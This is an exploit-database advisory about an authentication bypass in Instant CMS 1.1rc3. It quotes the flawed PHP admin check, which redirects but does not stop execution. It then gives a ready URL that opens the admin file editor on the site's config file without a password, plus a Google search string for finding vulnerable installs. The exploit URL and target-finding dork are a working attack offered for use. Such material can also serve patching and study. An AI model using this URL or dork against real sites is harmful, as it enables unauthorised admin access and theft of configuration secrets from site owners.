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Instant CMS <= 1.1rc3 Admin (Auth Bypass) Vulnerability

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0 _ __ __ __ 1
1 /' \ __ /'`\ /\ \ /'`\ 0
0 /\, \ ___ /\\/\\ \ \ \ \ ,\/\ \/\ \ _ ___ 1
1 \//\ \ /' _ `\ \/\ \//\< /'\ \ \/\ \ \ \ \/\`'\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \/\ \ \\ \ \\ \ \ \/ 1
1 \ \\ \\ \\\ \ \ \/\ \\\ \\\ \/\ \\ 0
0 \//\//\//\ \\ \// \// \// \// \// 1
1 \ \/ >> Exploit database separated by exploit 0
0 \// type (local, remote, DoS, etc.) 1
1 0
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#[+] Discovered By : Inj3ct0r
#[+] Site : Inj3ct0r.com
#[+] Support e-mail : submit[at]inj3ct0r.com
#[+] Visit : inj3ct0r.com , inj3ct0r.org , inj3ct0r.net

Site product: http://instantcms.ru/
Version: 1.1rc3

admin/index.php

Vulnerable code:

//-------CHECK AUTHENTICATION--------------------------------------
if (!isset($_SESSION['user'])) {
header('location:login.php');
} else {
if (!cmsUserIsAdmin($_SESSION['user']['id'])){
if (cmsUserIsEditor($_SESSION['user']['id'])){
header('location:editor/index.php');
} else { header('location:login.php'); }
}
}
//------------------------------------------------------------------

Admin panel have no password. And then you can watch and modify any files:

http://instantcms.ru/admin/index.php?view=editor&amp;lang=php&amp;file=/includes/config.inc.php

Google gives about 100 results found for :

intext: InstantCMS inurl: view-content/do-read

Inj3ct0r.com [2010-03-24]